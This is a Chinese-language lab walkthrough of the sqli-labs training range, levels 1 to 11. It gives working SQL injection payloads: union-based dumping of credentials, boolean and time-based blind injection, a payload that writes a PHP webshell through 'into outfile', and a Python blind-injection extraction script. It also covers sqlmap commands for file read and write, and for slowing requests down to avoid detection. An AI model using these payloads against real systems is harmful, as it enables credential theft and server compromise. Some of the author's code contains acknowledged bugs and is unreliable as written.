sqli-labs

攻略:https://blog.csdn.net/dreamthe/article/details/123795302

总结:https://blog.csdn.net/dreamthe/article/details/124969922?spm=1001.2014.3001.5501

主要是温故知新,所以有些比较简单的步骤就不提了

搭建

就是下好靶场文档,加入小皮

image-20240819190957257

创建数据库时可能会提示mysql_connect()太旧了,需要用mysqli或PDO,这里只要切换一下php的版本就行,我用的是5.3.29

直接往下划就可以看淡Basic Challenges了,我们从这里开始

image-20240819191440985

Basic Challenges

Less-1 Get-Error based - single-quotes

Get型,参数在地址栏就可以控制,单引号闭合,有了提示,我们先进行第一步,找注入点,也就是找一个参数可控的地方,如果连注入点都没有,那也就无法利用sql注入了

image-20240819191956940

提示:请传入id作为参数

image-20240819192032806

可以,有回显,测试下注入类型,输入带上一个单引号,字符型

image-20240819194506650

判断闭合方式,题目提示了single quote

image-20240819195549055

下面就是判断字段数了,用order by即可,这里是到3个字段

image-20240819200057662

判断回显位置,这里要注意把id改成-1,这样查回来没有回显,就会显示我们用union查询的内容

image-20240819200202321

原理:

select * from users where id=1 union select 1,2,3 from users;
select * from users where id=-1 union select 1,2,3 from users;

image-20240819200816927

可以看到如果不做一个空的查询,原来的数据还是会被查出来,好了,现在有了回显位置,可以查具体的内容了

先查库:

union select 1,database(),version()--+

image-20240819201029271

有了库名,我们可以来查表名了

union select 1,2,table_name from information_schema.tables where table_schema=database()--+

image-20240819201239410

可以看到,这样查的话,我们的表名是不全的,没有我们想要的,所以我们需要用到group_concat函数,可以拼接查询结果https://blog.csdn.net/wenxuankeji/article/details/136046922

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

image-20240819201514709

这样子就可以看到查询的所有表了,在不限制回显长度的情况下,下面来查字段名,一样的套路

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+

image-20240819201721838

有了字段名,我们就可以查具体内容了

union select 1,username,password from users--+

image-20240819201924321

那怎么才能把他们全显示出来呢,同样可以用group_concat函数

union select 1,2,group_concat(username,'~',password) from users--+

image-20240819202046100

源码:

$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";

当我们输入一个’号时,语句就变成

$sql="SELECT * FROM users WHERE id='1' --+' LIMIT 0,1";

后面的limit的限制就没了,不然每次都只能看到第一条数据,无法多行显示

Less-2 Intiger based

数字型注入,和第一关的引号不同的是,不用引号了,也就不用判断闭合方式了,这里先看下源码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这里我们就不用单引号了,不然会报错,只要把后面的闭合即可

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+
?id=-1 union select 1,2,group_concat(username,'~',password) from users--+

image-20240819223624436

Less3 Single quote with twist

根据提示,这一题可能是两个引号,测试了下确实可以,但根据报错提示,我们的另一个闭合是括号

image-20240820105654382

看下源代码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

当我们输入’) –+时,语句就变成了

select * from users where id=('1') -- ') limit0,1";

所以我们最后的流程

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+
?id=-1') union select 1,2,group_concat(username,'~',password) from users--+

Less-4 Double quote with twist

先看下源码

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

和less3的区别就是id用双引号包裹,所以我们只要将3的payload的单引号改成双引号即可

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+
?id=-1") union select 1,2,group_concat(username,'~',password) from users--+

Less-5 Double Injection - Single Quotes - String

字符型,双重注入,单引号闭合

image-20240820135143588

可以看到当我们传入普通参数时,回显变了,测试下异常输入

image-20240820135358102

也是有报错回显的,但没有地方显示返回的字段,虽然有些页面可能会把返回字段放在html页面的注释了要看源代码才能发现,如Bluecms,这里我们传入一个-1试试

image-20240820135543682

可以发现You are in…没了,所以我们得用如布尔盲注的方式来注入,但仍需要判断闭合类型,这里是单引号闭合

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

首先来判断长度,比如我们的数据库是Security,8个字符

?id=1' and length((select database()))>9--+

按照逻辑,这里应该是无回显的页面

image-20240820142545147

?id=1' and length((select database()))>7--+

这里则应返回有回显的界面

image-20240820142632276

大于7小于9的整数就是8了,所以判断库名长度为8,然后就是一个一个爆库名了,比较费时间这个,等等用sqlmap和自己写代码来试一试

?id=1'and ascii(substr((select database()),1,1))=115--+

通过对返回的字符进行截取,然后判断ascii码来确定库名,从字符串中提取子字符串(从位置5开始,提取3个字符):

select substr((select database()),1,1);

image-20240820144035463

再套上一个ascii函数试试

select ascii(substr((select database()),1,1));

image-20240820144453916

根据这个来判断,如果要查第二个字符,就把substr函数里的第二个参数改成2即可,然后范围是1-8,而表则是把第一个参数换成之前查表的方法

select substr((select group_concat(table_name) from information_schema.tables where table_schema=databse()),1,1);

image-20240820150502432

也就是之前查的那一串,逗号也会存在,所以需要注意转换,列名也就是换换,如查字段名

select substr((select group_concat(username,'~',password) from users),1,1)

image-20240820151226687

手动我就不测了,先用sqlmap试一下https://blog.csdn.net/qq_43621629/article/details/104526605

python sqlmap.py -u "http://192.168.174.198/sql/Less-5/?id=1" --batch

image-20240820154229669

可以看到这里有三种方式,包括我们的布尔盲注,我们可以用–technique B来指定注入方式(不指定也行,默认顺序就是布尔先),然后用-v参数控制输出内容

python sqlmap.py -u "http://192.168.174.198/sql/Less-5/?id=1" --dbs --batch --technique B -v 3 --这里-v 3也可以用vvv替代
  1. 只输出 Python 出错回溯信息,错误和关键信息。
  2. 增加输出普通信息和警告信息。
  3. 增加输出调试信息。
  4. 增加输出已注入的 payloads。
  5. 增加输出 HTTP 请求。
  6. 增加输出 HTTP 响应头
  7. 增加输岀 HTTP 响应内容。

image-20240820161925180

可以看到sqlmap里用的是ord和mid的函数结合

image-20240820162008024

我们也可以自己写一个这种脚本,首先是访问网页,所以导入requests包,燃耗确定号url和True时返回的页面

# encoding = utf-8
import requests

url = "http://192.168.174.198/sql/Less-5/"
# True的返回页面的特征
valid_response = "You are in"

根据请求类型(get/post),确定好payload的尝试方法,因为布尔盲注主要是利用ascii和substr来判断,获取数据的语句和之前union的还是一样的,所以先确认一个基本的模板

def test_payload(payload):
param = {
"id": f"id' AND {payload} --",
}
response = requests.get(url, params=param)
# 抓包用
# response = requests.get(url, params=param,proxies=proxies)
if valid_response in response.text:
return True
else:
return False

image-20240820185950798

抓包看了下,空格变成+号了,https://voidcat.cn/index.php/2020/06/06/python-requests-space/,原来直接传参回变成+,要编码一下,这个自动转义有点难搞,弄成字符串拼接试试

def payload_test(payload):
url = "http://192.168.174.198/sql/Less-5/"
param1 = {
"id": f"1' AND {payload} --+",
}
param3 = f"?id=1' and {payload} --+"
#param2 = urllib.parse.urlencode(param1, quote_via=urllib.parse.quote)
proxies = {
"http": 'http://127.0.0.1:8080',
"https": 'http://127.0.0.1:8080'
}
url = url + param3
print(param1)
print(url)
response = requests.get(url)
#response = requests.get(url, proxies=proxies)
print(response.text)
if valid_response in response.text:
return True
else:
return False

可以了

image-20240820192759214

下面就可以复制一下,把其它的长度求出来了

def get_table_name_length():
for length in range(1, 50): # 假设名字长度最多为50
payload = f"LENGTH((SELECT group_concat(table_name) \
from information_schema.tables \
where table_schema = database()))={length}"
if payload_test(payload):
return length

def get_column_name_length():
for length in range(1, 50): # 假设名字长度最多为50
payload = f"LENGTH((SELECT group_concat(column_name) \
from information_schema.columns \
where table_schema = database()))={length}"
if payload_test(payload):
return length
'''
def get_dump_length():
for length in range(1,50):
payload=f"LEGTH((SELECT group_concat(username, '~', password) from users))={length}"
if payload_test(payload):
return length
'''
# 具体内容等确定需求再具体实现

按道理,这个长度以及后面的ascii判断用二分查找都会更快,且查字段要后续确认,这里为了方便就先这样写了。好像f“”的写法,遇到users时会有问题,好像也得改成拼接得方式

def get_column_name_length():
for length in range(1, 50): # 假设名字长度最多为50
payload = f"LENGTH((SELECT group_concat(column_name) \
from information_schema.columns \
where table_schema = database() and table_name='user'))={length}"
if payload_test(payload):
return length

最终成果

image-20240820200259339

下面就是具体内容的爆破了,我们先用python复习一下二分查找,因为我们这个判断的ascii自己就是有序的,且数量不多,我们可以跳过排序环节,直接上查找

#encoding = utf-8
def Binary_search(ls, target):
left = 0
right = len(ls) - 1
while left <= right:
mid = (left + right) >> 1
if ls[mid] == target:
return mid
if ls[mid] < target:
left = mid + 1
else:
right = mid - 1
ls = [1,2,3,4,4,5,6,7]
print(Binary_search(ls, 5))

所以查ascii就是在字符中选择,这里我们可以看下菜鸟提供的ascii表

img

我们这里挑出[0-10]、[a-zA-Z]、[_,~],就这三组的范围来看,对应的ascii码范围是[48-57]、[64-90|97-122]、[95,126]这样子来看,分段好像更麻烦,直接统一成[48-126]应该就行,把这个作为二分的有序列表,来查询,先写一个枚举的

def blind_sqli_exploit():
database_length = get_database_length()
#table_length = get_table_name_length()
column_length = get_column_name_length()
#dump_length = get_dump_length()
print("database length:", database_length)
#print("table length:", table_length)
#print("column length:", column_length)
#print("dummp length:", dump_length)
alphabet = [i for i in range(48,127)] # 可能的字符集合
extracted_data = ""

for i in range(1, database_length + 1):
for char in alphabet:
payload = f"ASCII(SUBSTR((SELECT database()),{i},1))='{char}'"
if (payload_test(payload)):
extracted_data += chr(char)
print("已完成字符:", extracted_data)
break

print("最终结果:", extracted_data)

blind_sqli_exploit()

image-20240821110400653

感觉也还好,但这是在长度比较短的情况下,给他改成二分的形式,

def blind_sqli_exploit():
database_length = get_database_length()
print("database length:", database_length)
result = ""
for i in range(1, database_length + 1):
left = 30
right = 130
while left <= right:
mid = (left + right) >> 1
payload = f"ASCII(SUBSTR((SELECT database()),{i},1)) > '{mid}'"
payload2 = f"ASCII(SUBSTR((SELECT database()),{i},1)) = '{mid}'"
if payload_test(payload) == True:
left = mid + 1
else:
right = mid
if payload_test(payload2) == True:
break
result += chr(mid)
print("最终结果:", extracted_data)
print("最终结果:", result)

这是能跑正确的代码,如果不多加一个payload验证,他就会死循环,把条件改成left < right有时候又会差个把两个字母不对,奇怪,感觉应该是下标的问题,上面二分的查找的条件是等于,这个是大于。

image-20240821151856882

以此类推,可以写出其它的代码,且字段数可能比较多,要把长度也改成用二分法判断。

先附上目前为止的完整代码

# encoding = utf-8

import requests

url = "http://192.168.174.142/sql/Less-5/"
# True的返回页面的特征
valid_response = "You are in"

def payload_test(payload):
url = "http://192.168.174.142/sql/Less-5/"
param1 = {
"id": f"1' AND {payload} --+",
}
param3 = f"?id=1' and {payload} --+"
#param2 = urllib.parse.urlencode(param1, quote_via=urllib.parse.quote)
proxies = {
"http": 'http://127.0.0.1:8080',
"https": 'http://127.0.0.1:8080'
}
url = url + param3
#print(param1)
print(url)
response = requests.get(url)
#response = requests.get(url, proxies=proxies)
#print(response.text)
if valid_response in response.text:
return True
else:
return False

def get_database_length():
for length in range(7, 10): # 假设名字长度最多为50
payload = f"LENGTH((SELECT database()))={length}"
#print(payload)
if payload_test(payload):
return length

def get_table_name_length():
for length in range(1, 50): # 假设名字长度最多为50
payload = f"LENGTH((SELECT group_concat(table_name) \
from information_schema.tables \
where table_schema = database()))={length}"
if payload_test(payload):
return length

def get_column_name_length():
for length in range(1, 50): # 假设名字长度最多为50
payload = f"LENGTH((SELECT group_concat(column_name) \
from information_schema.columns \
where table_schema = database() and table_name='user'))={length}"
if payload_test(payload):
return length

'''def get_dump_length():
for length in range(1,50):
payload=f"LEGTH((SELECT group_concat(username, '~', password) from users))={length}"
if payload_test(payload):
return length'''
def get_ascii(length):
for i in range(length):
ptyload = f"ascii()"

def blind_sqli_exploit():
database_length = get_database_length()
#table_length = get_table_name_length()
#column_length = get_column_name_length()
#dump_length = get_dump_length()
print("database length:", database_length)
#print("table length:", table_length)
#print("column length:", column_length)
#print("dummp length:", dump_length)
alphabet = [i for i in range(48,127)] # 可能的字符集合
extracted_data = ""
result = ""
for i in range(1, database_length + 1):
# for char in alphabet:
# payload = f"ASCII(SUBSTR((SELECT database()),{i},1))='{char}'"
# if (payload_test(payload)):
# extracted_data += chr(char)
# print("已完成字符:", extracted_data)
# break
left = 30
right = 130
while left <= right:
mid = (left + right) >> 1
payload = f"ASCII(SUBSTR((SELECT database()),{i},1)) > '{mid}'"
payload2 = f"ASCII(SUBSTR((SELECT database()),{i},1)) = '{mid}'"
if payload_test(payload) == True:
left = mid + 1
else:
right = mid
if payload_test(payload2) == True:
break
result += chr(mid)
print("最终结果:", extracted_data)
print("最终结果:", result)
# def Binary_ascii(idx,left,right):
# result = ""
# while left <= right:
# mid = (left + right) >> 1
# payload = f"ASCII(SUBSTR((SELECT database()),{idx},1)) > '{mid}'"
# if payload_test(payload) == True:
# result += chr(mid)
# else:
# right = mid - 1
# return result
blind_sqli_exploit()

Less-6

就是把第五关的payload的单引号改成双引号

image-20240821152941814

Less-7 Dump into outfile - String

详细介绍:outfilehttps://blog.csdn.net/weixin_44377973/article/details/109265546

image-20240821153207000

这一关也能用布尔盲注,但题目要求用outfile,

首先往mysql的配置文件my.ini中加入secure_file_priv="/"

image-20240821153811254

然后往修改php的配置文件php.ini保证magic_quotes_gpc = Off

https://blog.csdn.net/qq_41173457/article/details/81268894

如果是On的话,我们的文件路径的/等符号就要进行转义了

image-20240821153720444

设置完我们可以查看一下有没有生效

SHOW VARIABLES LIKE '%secure_file_priv%'

image-20240821184736837

我们保存的文件可以在C盘的根目录下

我们先测试一下闭合方式,当我们输入id=1’时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1”时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1’–+时报错,这时候我们可以输入id=1’)–+发现依然报错,之时我试试是不是双括号输入id=1’))–+,发现页面显示正常。这是攻略中的思路,有了闭合方式,我们就可以尝试写文件了,要绝对路径

?id=-1')) union select 1,database(),3 into outfile "C:/phpstudy_pro/WWW/sql/Less-7/info.txt" --+

image-20240821195702361

既然能写文件,我们可以来尝试下能不能下木马文件

?id=1')) union select 1,2,'<?php @eval($_POST["a"]);?>' into outfile 'C:/phpstudy_pro/WWW/sql/Less-7/shell.php'--+

image-20240821200528294

其它方法https://www.cnblogs.com/ersuani/p/13887938.html,连接一下

image-20240821200617870

sqlmap也有写文件的功能,先判断是否有注入点

python sqlmap.py -u "http://192.168.174.142/sql/Less-7/?id=1" --batch

然后判断是否是root用户

python sqlmap.py -u "http://192.168.174.142/sql/Less-7/?id=1" --batch --is-dba

如果是最高权限的话,我们可以进行文件下载,文件上传等等的操作,不是的话就爆库爆表。

image-20240821201014820

这里是root权限,我们试试文件读取下载

python sqlmap.py -u "http://192.168.174.142/sql/Less-7/?id=1" --batch --file-read "c://phpstudy_pro//WWW//sql//Less-7//info.txt"

image-20240821201248971

看来要改下保存文件的路径了

image-20240821201319770

还可以试试文件上传

python sqlmap.py -u "http://192.168.174.142/sql/Less-7/?id=1"  --file-write "C:/Users/yxz/Desktop/sqlmap/1.txt" --file-dest "C:\phpstudy_pro\WWW\sql\Less-7\info.txt" -v1 --technique B

image-20240821201717648

应该是权限问题,没有写进去,原理就是利用下面两个函数

outfile 函数:可写多行,数据格式可能会受操作系统影响

dumpfile 函数:可写单行,数据格式不会受操作系统影响

Less-8 布尔盲注单引号

和第五关差不多,就不多说了

Less-9 时间盲注

这里你会发现输入什么都会返回You are in…这样,我们就需要通过时间盲注的方法来注入,先简单介绍下原理,if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。有了这个判断再结合上布尔盲注就可以了,这里不判断闭合类型是因为题目提示了单引号。

?id=1' and if(1=1,sleep(5),1) --+

这个截图不好反应变化,可以看看F12里的网络里的时间,我这里选择抓包看看时间来测试

image-20240822152519031

下面试试正常的包的响应时间

image-20240822152548071

有了这个区别,我们就可以把if里面的条件换成布尔盲注的payload,来注入

判断数据库名长度

?id=1'and if(length((select database()))>9,sleep(5),1)--+
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

这个手工测试也是比较累人的,还是用sqlmap跑把

image-20240822153005579

可以看到sqlmap检测出有布尔和时间两种注入,我们这里通过technique来指定时间注入的模式

python sqlmap.py -u "http://192.168.174.142/sql/Less-9/?id=1" --batch -dbs --technique T

image-20240822160500296

我们还可以通过设置–time-sec参数来控制时间,有时候不能太快,我们要调慢点,虽然等的久,但是不容易被发现,结合上-random-agent 随机ua降低风险

python sqlmap.py -u "http://192.168.174.142/sql/Less-9/?id=1" --batch -dbs --technique T --time-sec 3 -random-agent

Less-10

第十关和第九关一样只需要将单引号换成双引号。

Less-11 Base error-单引号

image-20240822162713174

可以发现,我们的页面都变了,有了个登入框,在介绍报错注入前,先介绍一个万能账号把

1' or 1=1 #

image-20240822162807152

当我们输入这个账号,能直接登入成功,算是登录框注入的一个,我们先按联合注入的方式,测试一下

image-20240822163043197

我们可以猜测语句中有username=xx and password =xx,然后就是测试字段,走流程即可,这里的语句最后不能用 –了要用#

1' order by 3 #

image-20240822163402308

剩下的就参考前面的来联合注入即可

Less-12